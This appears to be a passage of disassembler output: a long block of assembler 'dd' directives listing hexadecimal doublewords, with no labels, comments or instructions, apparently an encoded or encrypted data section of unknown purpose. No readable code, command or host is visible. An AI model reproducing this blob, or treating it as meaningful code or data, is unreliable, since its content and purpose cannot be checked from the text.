		dd 323052DEh, 81EAD100h, 7E7D31F2h, 5AEEB863h, 687E021Eh
		dd 32D7472Bh, 51A019DDh, 0ED6F170h, 5872205Dh, 856FBCF6h
		dd 0CBB88732h, 8A4596C5h, 13D948FEh, 71E49744h,	4F671389h
		dd 7D42032Bh, 0AF8D7426h, 55504000h, 3D3A6856h,	5E13D835h
		dd 904040D1h, 89FC4F95h, 0C2B7F57Bh, 2D035C8Ah,	79A6F671h
		dd 38BF9C12h, 0B7065311h, 0F7BBE9C1h, 2BF20723h, 0B444092Ch
		dd 89FFE05Fh, 7F2DCA77h, 0A5006DA6h, 0B48D3EB0h, 0F01EC49Dh
		dd 0EE035229h, 3A172D71h, 37D40481h, 0CF01C46Ah, 14081CD0h
		dd 1814BA52h, 0D5C8D729h, 0F3909FE8h, 771F0ABBh, 40531F59h
		dd 0EA5B9849h, 2F237D17h, 0E892F588h, 10A14F41h, 2D68E204h
		dd 7AF9465Fh, 99E90681h, 4904FFCCh, 0FCC95F9Fh,	1FDE3057h
		dd 5A3E9996h, 84A3850Fh, 44BA7031h, 7165D2Fh, 0C25245BEh
		dd 41E1C125h, 0F1010D85h, 9C61FE5Eh, 0BB02EA7Eh, 2590D966h
		dd 259138B0h, 0D212096h, 0B80281B5h, 733AA860h,	0F933507h
		dd 0C7507176h, 0FC527D33h, 0BC231A22h, 9B2BB4FBh, 0CF13DF5Eh
		dd 7875515h, 29A7B9AFh,	0FD015B81h, 74E4DB42h, 40C6461h
		dd 8DAB3FEFh, 56DF2016h, 0C4852B4Ah, 345C8F80h,	0E9210B2Eh
		dd 42FEA988h, 8C55F051h, 0AB7112BAh, 864A930Fh,	72E8313h
		dd 0D8174105h, 4F40506Bh, 0B1AA0A16h, 0E993070Ch, 7A003B4Bh
		dd 81C2295Bh, 28740FEAh, 27CA124Ch, 0CC71A78Eh,	6E81FEA5h
		dd 0CED1DF69h, 8F0BD0A9h, 25A766A2h, 4B59A0ADh,	10990672h
		dd 0BB80D21Dh, 0DD5F1009h, 1F5173B2h, 0EA61E942h, 0B695F6Dh
		dd 8D093F55h, 0AE3A8E04h, 0CC9E9D2Ch, 0D6E9B702h, 0D127EAE1h
		dd 0B1FB628Dh, 62B78009h, 0F6A02F22h, 3D4EB40Bh, 84F49305h
		dd 0C4B4ACC6h, 0FEECF1E9h, 82758B4Ah, 0A5BA4FE9h, 0A7E8FBAFh
		dd 61A96213h, 28B574h, 747A5268h, 22949598h, 0D8EEC127h
		dd 11A409B0h, 865D1D9Fh, 9DAFBD2Eh, 6760E445h, 802D1E7Ch
		dd 0F5008104h, 12971DEAh, 94FCE94Dh, 0E6D9A800h, 4973B482h
		dd 202B965Fh, 544A25D4h, 0D350BBB3h, 297A06CAh,	0BCE350Dh
		dd 0A19F5990h, 0EA17E9DCh, 76AD373h, 0E311051h,	61D82966h
		dd 52132D05h, 7C6BBAE0h, 26B0A051h, 0C342FC3Fh,	6A13F20Eh
		dd 0B9AD0B04h, 7DB14DE9h, 102BDF7Ah, 975F26CEh,	0E1EA95ECh
		dd 0FCD1052Ah, 0AA390486h, 85A8024Fh, 0B0D03116h, 7712F0F1h
		dd 0A45C5078h, 586908A8h, 4022550Eh, 64F8E3E9h,	0A9CF43B1h
		dd 976BC72Bh, 2F9E8D8Fh, 3305E24Ch, 133D0968h, 995439DEh
		dd 9F25E300h, 5A7AE91Ch, 0BE6E74EEh, 10AE5635h,	3925BFE4h
		dd 20478A11h, 41002B0Dh, 0CD813D5Eh, 481E66A1h,	512D0A49h
		dd 9FB645E0h, 195C9EEh,	62E1801Eh, 43D0B12Fh, 81CD2AC2h
		dd 0F9D9281Dh, 0B745D6C1h, 0F3F100BEh, 14E9C830h, 0B75B9795h
		dd 54986885h, 34D2C4BCh, 7BCDDDECh, 6B98CA91h, 13B49A3Fh
		dd 0E0520FE9h, 13C717B0h, 0F1877EADh, 30D8CDA7h, 23DD8B0Fh
		dd 1C569C96h, 139F30B9h, 0C187840Eh, 3B11E4A4h,	863C6F6h
		dd 0F6504FB1h, 0B01F505Ah, 127534F0h, 8E5510EAh, 0B47DE475h
		dd 0D3F70AB6h, 54B02CCh, 0B3D82130h, 6325CC81h,	81815F5Dh
		dd 402BF2B8h, 992A7128h, 0C6410178h, 4AC20804h,	774E144h
		dd 0ACDD3035h, 0AFC91C28h, 5A24B5D8h, 0D909015Dh, 0AF47DB2Ah
		dd 0E9E29D59h, 3482787Ch, 0B852C130h, 0E951B0B4h, 0E8DB4A5h
		dd 72E9DDF6h, 5E13365Eh, 0F5369BEh, 2F8716DCh, 2E1EDEA2h
		dd 582C8C42h, 0D4E238E8h, 6CF895h, 24EAF60Ah, 0D78CB05h
		dd 2DEB3A50h, 0C4E907A0h, 0DAA4BD5Ah, 0BF00F539h, 6135CEDAh
		dd 4BFE7627h, 0F9070124h, 3F999CFh, 0A2A5625h, 0A8CC3868h
		dd 6F579E80h, 31B3EF06h, 52658090h, 61EAD4BCh, 1532E363h
		dd 5A545B05h, 61EDFE01h, 0D77031D7h, 290DC4E9h,	7931D0D1h
		dd 41909766h, 0ADC9CA51h, 6EF79911h, 681FC428h,	10C6ED09h
		dd 0EA356009h, 81687C71h, 0E10C0DC5h, 0AC0C8F09h, 8061C955h
		dd 1D69E9FEh, 0B25EE828h, 8A5D5040h, 2211778h, 13A6176Ah
		dd 5EBDBC5Dh, 0F71BC9E3h, 0DD6040F1h, 70557236h, 0BD2C00Ch
		dd 290FFC09h, 5EE9D33Fh, 0F34B481Dh, 0E65FC47Ch, 1D092548h
		dd 0DDC2AD7Eh, 8187059Bh, 3335636Fh, 7EE15A9Ch,	3B0EB4D4h
		dd 0F712D146h, 318E0FDEh
		dd 1D529789h, 3DD89081h, 7D38161Ch, 0F831F344h,	13FEA5C3h
		dd 0ED5BDDD7h, 58C5840Ch, 0CCE9C4D0h, 2B1BB71Fh, 51DA68A0h
		dd 98F1679Dh, 0CDBEDF84h, 40932717h, 0AAF51AB1h, 660E3B7Ch
		dd 5D6BEA21h, 16E25A07h, 0B91A5004h, 41146252h,	8160A038h
		dd 8596BCAh, 2D5811F8h,	0FCD86586h, 125BEEE7h, 4E81CA27h
		dd 4DB02788h, 0DE8B0897h, 0C505605Ah, 586D19A7h, 0E63C42A8h
		dd 0F97939CBh, 5AD974B7h, 59376812h, 5B2328AEh,	58C9CD9Eh
		dd 0D8362BF9h, 73E7A52Ah, 7F2AE909h, 5D41F292h,	0B2D517DCh
		dd 0E004F6E9h, 8D39BC68h, 0E99621C6h, 0CC352ACDh, 0B7100DA2h
		dd 0F755187Bh, 0B9AA40CDh, 0E77BAF41h, 0A6A03F17h, 5B542E53h
		dd 0A895122Ah, 8F4ADE77h, 81A6357Bh, 0D328F807h, 6859C357h
		dd 80CEECA5h, 0F526ADBAh, 53188B1Ah, 99C361A5h,	0BFF29212h
		dd 47A24D77h, 6826DC12h, 63924C94h, 0E830BD4Bh,	7D4630AAh
		dd 0D5DA206Bh, 33F13139h, 0B08108CEh, 4C90FD43h, 912D728Eh
		dd 0B6BBF51h, 2D395BD1h, 0BF57E2A0h, 2E050B7Ch,	2F2DE91Eh
		dd 7216B9A9h, 90FAFC3Bh, 6F9A45B7h, 1AF393D8h, 0E33D5E9h
		dd 5FB94A7Fh, 6B744B62h, 0A8EDE970h, 3CD5B0FBh,	18AA7B34h
		dd 900298F7h, 0AC4648A1h, 0B40FDB27h, 0DA14B616h, 0B591D828h
		dd 3ECA6EEh, 5F209B97h,	690DCB9Dh, 0AC925D98h, 298A0B60h
		dd 66358F93h, 361C14BDh, 0D37D5E23h, 0D9F9B477h, 40A65B70h
		dd 9078E912h, 53B722BEh, 0E74BAB83h, 214F154Ah,	0F9C1D95Eh
		dd 2E08982Ch, 2B4F177Dh, 2EFEACE7h, 8B7A6040h, 58DC1EC3h
		dd 70013E2Dh, 9165BF72h, 0CB08A54Ah, 83526F3h, 330B184Dh
		dd 463F5134h, 51256D0Ah, 59342168h, 0E9B3CD29h,	0AEB47F4Eh
		dd 4CBB89CCh, 0FEA562C2h, 1331732h, 84F8B5E9h, 5FFD2928h
		dd 5AEDCCCCh, 5505CC7Ch, 37066810h, 0BDB46C7Fh,	2654017Ah
		dd 5D7EEF9Ch, 0A703464Eh, 0C71C5721h, 1EBD8574h, 0AC14063Ch
		dd 6A89A3ECh, 54F637A0h, 98950124h, 3BECC09Ch, 177C8005h
		dd 0F35D0D68h, 0E1881C2Ch, 0F659CE83h, 0F1F4BADEh, 6809ED4h
		dd 9DE1E90Fh, 5F70BB04h, 0BAB876E4h, 1DF1F040h,	0BA3C054Ah
		dd 0CEF9A080h, 14682D15h, 110110Fh, 4E07F4C8h, 0FF84A6A8h
		dd 32A91334h, 0A2295E13h, 8C811003h, 55F0FE2Dh,	0C0B41B00h
		dd 685BDC30h, 627A548Dh, 50E23988h, 2F3ED4A4h, 575A7DF8h
		dd 50C4D8E7h, 93784579h, 2F68F128h, 8A182742h, 6A0B4664h
		dd 0F4EAC113h, 8C931767h, 421F6C5Dh, 204B6332h,	82C974FDh
		dd 5B1CFCF3h, 100B56E8h, 762C6825h, 79AD0D9Dh, 0A21D8328h
		dd 0E7379061h, 4FA3B2F5h, 0A2E2579h, 0DD1CEB22h, 0D451A9F5h
		dd 0AB11C220h, 0A5A1180Ah, 1ECF7D08h, 0BD59258Ah, 0E112E941h
		dd 82B0407Bh, 810B4767h, 7496E503h, 70683B99h, 0EA29612Bh
		dd 30DDF75Dh, 0F8B7A29Ah, 98E9125Fh, 10B99Ah, 46F82D01h
		dd 52045h, 68710F4Ah, 26E9C789h, 5C5B7792h, 2A10598Bh
		dd 0A5593FCBh, 0B2E2F4EEh, 0BB6D8h, 0D827F27Eh,	31789710h
		dd 2FCC65B5h, 0EB6EF401h, 0D2196A71h, 0B7420806h, 0C68007EFh
		dd 0F240B4A7h, 63B303BBh, 0EB81653Ah, 42E30D40h, 77C8A441h
		dd 2943Ch, 7DD10F69h, 0AB2A6858h, 9F803C0Eh, 0FF132620h
		dd 40BB4D6Dh, 3329273Eh, 71E8BF82h, 0C177AE09h,	0C7DD82E7h
		dd 36687501h, 9458E4E9h, 308CD2E2h, 0B70CFE55h,	2DAF730Fh
		dd 90D03784h, 1CBA52ABh, 0F827517h, 0C11FE8ECh,	4E9454Dh
		dd 2A57EE8Dh, 2D6890A0h, 46A9354Ah, 0F7819220h,	0A726C72Ah
		dd 272BD69Eh, 771AA925h, 776C9C10h, 0A1656182h,	0B34B402Eh
		dd 0A6E3807Bh, 0A9BC8AF6h, 45F7290Bh, 0F9890209h, 0E555215Fh
		dd 0C47EA55Fh, 5096311Fh, 0D9B96B53h, 0BFE95882h, 0F2EA644Bh
		dd 0C18EE05Fh, 0B0648E2h, 4177CE02h, 2EE0254Fh,	0CFF719FFh
		dd 51586600h, 4D7012B9h, 1A579803h, 0F271E3C0h,	0C22B8675h
		dd 0D0CC5D5Eh, 0D6F7B64Bh, 63DA056h, 0B645CD41h, 4A774679h
		dd 58D38062h, 7097D2F6h, 0F9F2330Bh, 0EAB12706h, 1AC83F41h
		dd 0B6521D66h, 1740AE7Ch, 0E0EA5661h, 0F65C3233h, 73CB13D7h
		dd 84BF8609h, 85BADC77h, 0BE11BBFBh, 449E72C8h,	0A08346E9h
		dd 0F06EA018h, 78A78007h, 0F73C18E2h, 85E226DAh, 0C01D500Fh
		dd 8973D3CAh, 2B2A176h,	2E3514F5h, 0D03E0E36h, 88685204h
		dd 197BB246h, 0C8A07FB1h, 25E9C6F0h, 0A824B0E6h, 0E4BD5202h
		dd 0F6988631h, 10BBED4h, 0E9E3D05Bh, 633928Ch, 0D700C05h
		dd 10CA8473h, 4B7E08F8h, 0E99C90C6h, 0C0A9F057h, 7490DDDCh
		dd 618BB66h, 0DFA0AC5Fh, 0FA313C5Bh, 2BF5BA69h,	0BF8FDB8Dh
		dd 49D17B13h, 7803F1B2h, 5B398C7Dh, 4A15AE5h, 9C04EC16h
		dd 0EAC014A4h, 2FE9A41Fh, 6461ABCAh, 0C2E007B8h, 0DDDA2827h
		dd 9B5B5F26h, 1206E5C7h, 5AD588C5h, 30BA2D4Dh, 0ED303E52h
		dd 0E9C306EEh, 3AF2581Fh, 515D54C2h, 1166C560h,	0B97C2302h
		dd 0C1B734F7h, 0FF3CE750h, 22E8680Eh, 0EC5AD67Fh, 5F1D7FA1h
		dd 0EA8034B7h, 48DF7DDCh, 0E9D11E89h, 3E272738h, 0A2C227C3h
		dd 0E55C7570h, 0E0115749h, 0FF027B80h, 7CB2E954h, 0AD1E25A5h
		dd 7B54F9AAh, 0EE295771h, 310633B2h, 0AB0DD006h, 25DA5310h
		dd 0EFE6D652h, 580DC8C5h, 6A92E1Dh, 0E63C339Ah,	0E4CB1903h
		dd 52440CD3h, 0F74898EDh, 865DE63h, 2AEA5110h, 89540116h
		dd 0FD4C71E8h, 5BB23C68h, 5F5C2E8Eh, 0FC1AEAB2h, 6BF8350h
		dd 0AC4A30BCh, 0CBAD120Eh, 2C3120D4h, 0FED8281Ch, 249F5E75h
		dd 7B3BE8C5h, 0E42F3B25h, 0F1C8B0E9h, 0F717C823h, 0F044FC14h
		dd 2F37F6F1h, 0EB605CA1h, 0B349E950h, 0A15E4E4Bh, 1B76B55h
		dd 456E781h, 1E6066FBh,	0F5771642h, 0AF9C0116h,	21694550h
		dd 2F2F35F8h, 0CE3948B6h, 0C9BF5796h, 56E53FEFh, 2D3A3B31h
		dd 40342AEFh, 79FA4082h, 0D9778B0Ah, 0BAFEBF5Ah, 54E80495h
		dd 4153CAB4h, 0CEA13BF4h, 0C426DAE0h, 0FB745A97h, 2519A6CEh
		dd 92EF35A3h, 76C9E554h, 795979ADh, 0A1F2262h, 1E210984h
		dd 9C4933D9h, 56580518h, 0EAAA4BE9h, 28FB0844h,	0C7E3C1EBh
		dd 57992F2Ch, 8B57799Fh, 1268835Bh, 0B9E9C59h, 0DA21EB4Eh
		dd 796812DCh, 5146733Dh, 9FC7225h, 6CB18C6Bh, 6D874DEDh
		dd 2433E32Ch, 1B58279Eh, 934FC64Ch, 0DC2CF81Ch,	4018864Ch
		dd 0FB698991h, 5ACED472h, 0A7DCB1D7h, 456AFC6h,	8AB981A8h
		dd 0C26AEE04h, 3B65C022h, 54E1962h, 0C276C40Ah,	408AF8A5h
		dd 66B859CEh, 486F0153h, 290627E8h, 57E18B9Bh, 0C459ECA5h
		dd 7C44FD79h, 0F7431D03h, 41FB295Eh, 0A02E087Eh, 3727E9CEh
		dd 4B78C5DDh, 81C79055h, 3A27816h, 37070B05h, 0A1A5E9ECh
		dd 17312E3Eh, 353F2CC6h, 144AB72Ch, 446B0F68h, 22434AE2h
		dd 0C0A83550h, 795CC6C7h, 5D171C2Dh, 19B3D668h,	1D1B214Ah
		dd 708226BDh, 4F5D3544h, 52D73108h, 22E16620h, 86E9172Bh
		dd 1B1198D3h, 15F95441h, 0AB5116DBh, 718B8C26h,	90BD46B7h
		dd 4568122Ch, 0A131EF58h, 0E123FE6Ah, 12BB1A2Ah, 0F2BDEB80h
		dd 0F0292555h, 636203A3h, 0FD585607h, 0C30A6899h, 89348724h
		dd 85945C94h, 79EF202Ch, 5A322F69h, 8126FF13h, 0C1BB852Eh
		dd 0B8274027h, 4B902549h, 6848CD79h, 0BEB16813h, 0E9B15839h
		dd 5E167F47h, 246A9B08h, 0C89F151Ch, 5FE150h, 3502E0C1h
		dd 0DAE29A3h, 0F40A8BB5h, 0AE6ACCh, 70FB5130h, 8B99D509h
		dd 68A99409h, 2F5D39E6h
		dd 2430C85h, 5CE09205h,	0D4E177AFh, 1C088DEEh, 2D591703h
		dd 5B5B02B0h, 5DFDB70Bh, 596D08B0h, 957A508Bh, 0F9BB0553h
		dd 0FE3B1206h, 1DC8BF12h, 0C44831E9h, 333AF6F9h, 79284AC0h
		dd 773C25E9h, 5C450B59h, 0D1D8B4F5h, 0D6B426DEh, 407A1011h
		dd 8060C7A3h, 3ADEC139h, 297E3B14h, 9083268h, 42DB5A58h
		dd 67B95A3Fh, 0A08C2E75h, 8DD392FCh, 2FF62F75h,	4C09F810h
		dd 0E09E2797h, 0BBBE8Bh, 0BD23A804h, 3C687677h,	59F52927h
		dd 440B02B3h, 8805595h,	12802E33h, 0A0040145h, 0CBE50A57h
		dd 83749520h, 45968DB6h, 0AD731103h, 0B50F5F31h, 0D90FAF3Fh
		dd 0B0E23D51h, 745EC4A1h, 696DE9F8h, 1701FDECh,	68304289h
		dd 9D61C223h, 707441C3h, 87E6F014h, 3D5C81A9h, 0D36617AEh
		dd 51350AADh, 4880B92Fh, 0B982B4ABh, 0D7D00DD8h, 0CCDEDCC2h
		dd 0D7FA5864h, 7BE0D6DCh, 1B27EB77h, 0B78EE8D2h, 68A6274Eh
		dd 91024C74h, 0D166990Ch, 0C9823DA9h, 5F3D4C64h, 0ECE87BE0h
		dd 0CFEC3F65h, 75B71081h, 86824DBAh, 661BE780h,	8E286049h
		dd 7299E9D6h, 0FEC220FAh, 0B64852C3h, 5AF305C9h, 0EBEDBF6h
		dd 0A018FF0Eh, 1C83A385h, 0DEC0DC4Eh, 0C241D702h, 0B25F5466h
		dd 1AB457DAh, 870BF25Fh, 70595659h, 0F64AF7E9h,	0DB64BF34h
		dd 948CFADh, 0FC4E1A52h, 6F81C48Fh, 167AEE1Eh, 525472h
		dd 4CD8C22Fh, 80404C5Bh, 2759C9F5h, 1EC6A14Bh, 0A2D2AFA8h
		dd 5EDA26B0h, 2910B6Ah,	987608C5h, 0CFF11892h, 51013F3Ch
		dd 0E157D3B9h, 2CA26E7Eh, 90043F48h, 0BEEBE94Eh, 0B9F8D413h
		dd 0B31328E3h, 19FCEEC1h, 124D861Fh, 0D9B81706h, 2D9EDCFh
		dd 0F0C97D5Dh, 3EFB2CBBh, 7C323C64h, 5034FD6h, 1B354CD8h
		dd 0B1B8534Ch, 89848EB1h, 0FD443145h, 13CAF61Ch, 8D10A852h
		dd 299AD95Fh, 0EEE90976h, 221E77EBh, 0E55D78AAh, 0CA688427h
		dd 3BDAAB78h, 0E045E91Eh, 0CD271990h, 10D613A3h, 4EFCB296h
		dd 0F5EFBFC2h, 98E0FA2Ch, 0B559A840h, 5C693127h, 32FEEAA5h
		dd 2E773Bh, 2131B0F2h, 5926E9CCh, 6883F0AEh, 8B1573D2h
		dd 0E9EBCBBh, 41D78853h, 548A5BFCh, 8649607h, 3EB05848h
		dd 0C6F5CED0h, 0C9F6BBF7h, 0C2D95251h, 82A77D30h, 0E8258B64h
		dd 90517E0Ch, 28FAD312h, 0F95C8764h, 40C54F80h,	2D7981F9h
		dd 0CDAE72EFh, 4852BDF6h, 0A1CF2491h, 4B4958C6h, 7DE1295Ch
		dd 0A52110B4h, 0EF832F76h, 57AA2D12h, 0C7EB2D83h, 4EE9EAC8h
		dd 4B54B45Dh, 668CD5F8h, 78FE8768h, 3B259E5Fh, 0BB170FCBh
		dd 0D2F36428h, 775E2CF9h, 969FAD2Ah, 0AA877AFCh, 0E428574Ch
		dd 10C08B88h, 97BC1351h, 6FDF67Ch, 12D7E6DCh, 0E52D8856h
		dd 5C20D141h, 0F5571722h, 1863B31Bh, 0F01CD901h, 0BF55F63Ah
		dd 0F5E7926Ch, 0C1BF3802h, 0C8BE0F66h, 0EA840F63h, 9E5BBC96h
		dd 0D3538417h, 0C5BE00AFh, 1046FA2Eh, 2A6D02BDh, 0D9B97514h
		dd 5E1A9721h, 0BA3C93F1h, 0C012592Fh, 30852161h, 4B4A0BDFh
		dd 24F088B1h, 564E1C6Ch, 9A6BC0BEh, 0E9F329DCh,	29868B5Dh
		dd 0A942575Bh, 0A8FF096Fh, 8089DA0Eh, 0D5E85C7h, 6D4E8FA8h
		dd 1D412E09h, 31B52E78h, 122DCA43h, 326CAA5Fh, 645F5FBCh
		dd 5D224010h, 0A511C59Fh, 8B7F18C6h, 6895F99Fh,	0C8DE6363h
		dd 19C4E564h, 305EFE19h, 4E17A7DEh, 7F12AB8h, 0C77E122h
		dd 76263E4Ch, 287F24BEh, 209622Dh, 17771A1h, 7D5AD101h
		dd 0C96E855Ch, 16E7C0F4h, 0FCB1F2F1h, 7C96695Dh, 12615A46h
		dd 0B3DD3BD2h, 8567353Fh, 1BF48076h, 7858844Ch,	62947944h
		dd 103240C3h, 0FFE7CF1h, 1FDEF75Eh, 0F1212B97h,	5F02264Dh
		dd 0F34ED6F0h, 2FFB3448h, 9B0B58F9h, 0A0AB5192h, 3AA598E9h
		dd 0B55B205Fh, 84E133C8h, 510B7B5Dh, 584C3164h,	9F55519Fh
		dd 4C44F916h, 2FC0187h,	0EA946584h, 7EE1BA89h, 0BD2E64h
		dd 69424DD0h, 5938272Dh, 0E829550Bh, 0ACF10451h, 5626C4E2h
		dd 60555970h, 569AB5EEh, 955978B5h, 9B01BFE4h, 0E928C609h
		dd 782DD524h, 80ECE240h, 8CB69FB2h, 1CBCF427h, 16EACC8Bh
		dd 512E540Ch, 9716F1B1h, 96685742h, 0AA564657h,	1ADC0068h
		dd 753F5Ch, 7E0C148h, 0AE0C8435h, 0BBAC9F5Bh, 0B24E634Ch
		dd 5CE9C339h, 98A14AFh,	0BF20EDC3h, 4F505A9Fh, 0D9A004Bh
		dd 6E2375ADh, 34025790h, 29F4B826h, 0A03F05F0h,	0C32E80BDh
		dd 302F908h, 0E9F65366h, 1A9C5B45h, 64F9FE5Ah, 0D340D408h
		dd 0F3F15954h, 5368142h, 0CBFED3F6h, 0B2131828h, 113C0AC6h
		dd 0B9B0897Ah, 6804DAD6h, 3AAC356Dh, 0D55138CBh, 0CD210C02h
		dd 0BA28DD26h, 10872608h, 0D5E91333h, 0E0D18682h, 97BAB2E7h
		dd 12F8FECh, 880BF3CDh,	89267F26h, 56A1FC00h, 60CF89B6h
		dd 1BEC6659h, 29047F31h, 9108E9FAh, 9535C6D8h, 854BDE84h
		dd 30C78714h, 0F263F8F6h, 53896197h, 7C15E740h,	5611D6Bh
		dd 16820068h, 75CD3D2Dh, 9DBC5A5Bh, 0A92BA18Bh,	0F1099F5Ch
		dd 0AB6AAD25h, 40C0D920h, 284B6888h, 0ADD25CE8h, 0E6680C1h
		dd 58138C0h, 5039E6E3h,	0A2FD0C49h, 1D4E783Dh, 205A07DAh
		dd 2C4669CBh, 0B5F0635Eh, 47F60681h, 0A2748431h, 4EE26EFDh
		dd 0DDFE8C07h, 43426F2Bh, 48C15328h, 4AA44F1h, 0A9348B08h
		dd 0D129CEAFh, 0B8397524h, 515BF800h, 0EDD0F4B5h, 0D94E4098h
		dd 0B2B572E9h, 68F392A0h, 67FE1860h, 12468B3h, 8209CF7h
		dd 0F553E92Eh, 1537F140h, 8748580Eh, 5731127Bh,	0E9FF4509h
		dd 57C5D7FEh, 26C51969h, 65685588h, 0BE2CD030h,	8C2564D4h
		dd 89875453h, 9CDD1F7Ah, 7470B566h, 0CD2C4D1Dh,	0E4C2815Ch
		dd 0C334A035h, 0C10409F5h, 0AE5803EDh, 1A0284EAh, 0F4E9B599h
		dd 138466F8h, 0F87E7268h, 93E9B1FBh, 0FEEE052Fh, 0E0CA83CFh
		dd 8E502ED2h, 0FD685E0Bh, 0C0EC627h, 31DE118Bh,	6013638Eh
		dd 3DEC179Eh, 0F58C076Fh, 7159EB5Eh, 44572759h,	0AD5F4B2Dh
		dd 4A122623h, 7384D99h,	0C6C5C580h, 1775C57h, 540A489Dh
		dd 1C3E300Eh, 0E07B830Ch, 0F7A5235Eh, 820C0806h, 37AF8014h
		dd 2E1B081Ah, 9DF05797h, 0C0059C5Fh, 357F416Eh,	0E63A7120h
		dd 5E3CF874h, 25E93E39h, 625B7407h, 0B95D1BD6h,	913F59B4h
		dd 5697B685h, 660E2EFCh, 967465BEh, 81C3981Dh, 0E2BFC6EEh
		dd 0E4F8C329h, 46E921D0h, 7290BE08h, 0BF60D1DCh, 0C415A8h
		dd 0CEC6BA3Dh, 0AFE9226Eh, 67378B9Dh, 46AC2Bh, 397958F4h
		dd 0A148BEE9h, 749D303h, 8A2FF2Dh, 0FE50C5E9h, 3457BB0Fh
		dd 4FBAA01Dh, 4CC99A9Eh, 0F15A5629h, 48036F70h,	897D69F8h
		dd 74D26DE9h, 0E1CA8CD1h, 0DC03C193h, 21DB86F8h, 0D850EAC8h
		dd 90469F49h, 516E53A0h, 7F55348h, 0E7BF57C5h, 0F7654F03h
		dd 0BD798B50h, 0CF870B1Eh, 67820E9h, 16C10127h,	6EABA102h
		dd 0FDB4316Ch, 0E90A9F0Ah, 5993BB58h, 17BD1CEBh, 0A493F822h
		dd 83482F31h, 6D45B800h, 0F71C160Bh, 0D3D758D8h, 290DC211h
		dd 0A1604C77h, 0B03A0F47h, 0E91757E7h, 66479AE4h, 5F824BB1h
		dd 6D745124h, 55E72F08h, 0C970E909h, 243C92F1h,	0D6AD0213h
		dd 10F280FDh, 1324FEBh,	10E9D558h, 0BF02D8DCh, 6F9C0217h
		dd 1A8A2460h, 0E9176171h, 0FC6479AAh, 0C02B27F1h, 0B12FD50Eh
		dd 0EEBE1501h, 2931F661h, 0BAC5D160h, 0A709713h, 0F19591FAh
		dd 17B3BCDDh, 0DEF95BA7h, 2C4C3A70h, 0ED1EF6DBh, 0E1C0C240h
		dd 4B3B9807h, 24A4817h,	212A6699h, 0E0F3A52Ah, 504FEF68h
		dd 13B67743h, 0DA9AF2E9h
		dd 21E9BF85h, 4A292F58h, 0B1F735A6h, 0F8572902h, 545C505Ah
		dd 0A28C252Ch, 893421h,	0FE450593h, 81BD5E00h, 1250F9C6h
		dd 47CA951Ch, 0E9580800h, 0B891201Fh, 733A8402h, 0DFC37F7Dh
		dd 9CAC86F1h, 5785C2A3h, 0D9ED7F66h, 0BA580840h, 263F65Ah
		dd 0E9344313h, 0C7F51EB9h, 2F46A42Bh, 61458C89h, 49B75E27h
		dd 8253F1D1h, 0C5E55D6Eh, 2B84E98Bh, 0CF1856AAh, 0CF65FA86h
		dd 4F4ECA05h, 4DC16E1Bh, 6800D87Ch, 99BF1C9Ch, 0D4FC1F27h
		dd 0F6A2BF18h, 5509B878h, 0BE857C83h, 0FD83917h, 1082FA37h
		dd 635CC16h, 43BE3D40h,	0F12D4645h, 8043FB04h, 6859C831h
		dd 0C7CA50A5h, 5893E621h, 0D0ACE222h, 0B8645B3Fh, 0D19235B0h
		dd 600B045Eh, 85E42686h, 5AD021Bh, 12625113h, 60E7F641h
		dd 0E926081Eh, 6694A822h, 45E1E76h, 0E5B02CCFh,	84310ABBh
		dd 847DD788h, 846F4578h, 379568DAh, 7EBD2DAFh, 2C4F6FCAh
		dd 5525E984h, 8DB6591Dh, 3161D382h, 4EA76D31h, 0F45BB4BDh
		dd 3B2CE947h, 5F5208AEh, 491A29B2h, 2C161DD3h, 0EF0211B9h
		dd 0FA6C885Eh, 11C6176h, 0BB3543ECh, 31047BB8h,	0F2595A02h
		dd 0A272C909h, 5CF588BEh, 4775220h, 0CBC30830h,	5ECEE969h
		dd 900A12D8h, 239705B7h, 0BA411BFAh, 0B6C82F12h, 105A1229h
		dd 7FADE167h, 2E8A3F00h, 58F089D2h, 8802665Eh, 18ECE928h
		dd 1F2A9857h, 0EF8080B8h, 0E70F8773h, 1CC7FEA6h, 0F9884284h
		dd 0E65D6BC1h, 0F66C5802h, 88276FB0h, 820CF143h, 7E193B73h
		dd 0BAE9C882h, 0C1FE7448h, 43A98098h, 286D6Eh, 0B8539B73h
		dd 52E892Dh, 0B7E905D0h, 40F9ED1Eh, 0C1F0787h, 307F1ABDh
		dd 0FF63B9Bh, 0DEFC2DBCh, 605153E1h, 62BADB36h,	0DF4489B7h
		dd 805F0624h, 0D720BFE0h, 2C3C4158h, 3902BE01h,	603B2C7Ah
		dd 21ACCFDh, 70056722h,	93E0CA3Dh, 0EF5C6E4Bh, 401586Ah
		dd 62D08DC5h, 6148A4ECh, 79929C63h, 927803FBh, 1EF44212h
		dd 766077A8h, 205791EAh, 708190DEh, 51AFFCAh, 4306E56Bh
		dd 608955B1h, 1EC03E64h, 733162E3h, 16E92FB6h, 0EEDCF589h
		dd 0F1C301C3h, 526EA6B1h, 3707BB95h, 235625B0h,	7CCC130Ch
		dd 828CB96Ch, 48EEFCE9h, 0CD638EF7h, 2994885Bh,	0BC8B4B25h
		dd 92DFED4Eh, 161610F9h, 5BB6E309h, 0B65005E0h,	0B27FEB99h
		dd 7E37D5Ah, 34F2F600h,	0F381715Eh, 5A0D1750h, 0B70F047Dh
		dd 0D333D299h, 376A865Ah, 0F55A97AFh, 0B5B7D2B0h, 2D71E49Fh
		dd 4B815CE9h, 20D7F659h, 6B904B70h, 0F820E213h,	0FF25A613h
		dd 0AB2184BEh, 955730CCh, 3EB70C4Ch, 0B4E92F36h, 6FEB36E3h
		dd 0B6A92ABAh, 38634754h, 0CFD010C1h, 7DED4862h, 0DF8F7C4Ch
		dd 51ACC195h, 675EC350h, 0FF204DE2h, 712F4D93h,	10F25248h
		dd 0DF40E919h, 913F436Ch, 0D9637454h, 0A00C8F48h, 31D22210h
		dd 0C889C1DAh, 0A203FA79h, 11ED412h, 1343C4ECh,	0B7E10108h
		dd 2E724A3Ah, 4082250h,	0E126E959h, 0B9800DACh,	6B17E5A4h
		dd 0B776682Ah, 0F865E927h, 5E5981h, 0F94F9B90h,	895C8A5Ah
		dd 0ADF9DE2Dh, 682DB258h, 905ECC45h, 111E0948h,	0C0007F5Bh
		dd 0F9499AC7h, 0F7010276h, 0AADD24AFh, 228C4E9h, 54425927h
		dd 94AF3E6Dh, 522FBCC5h, 0B88179FCh, 7D2C3ACDh,	2D44B02Fh
		dd 860B0B7Eh, 0D9EB8126h, 56C301ABh, 7E548E9h, 21AFD7EEh
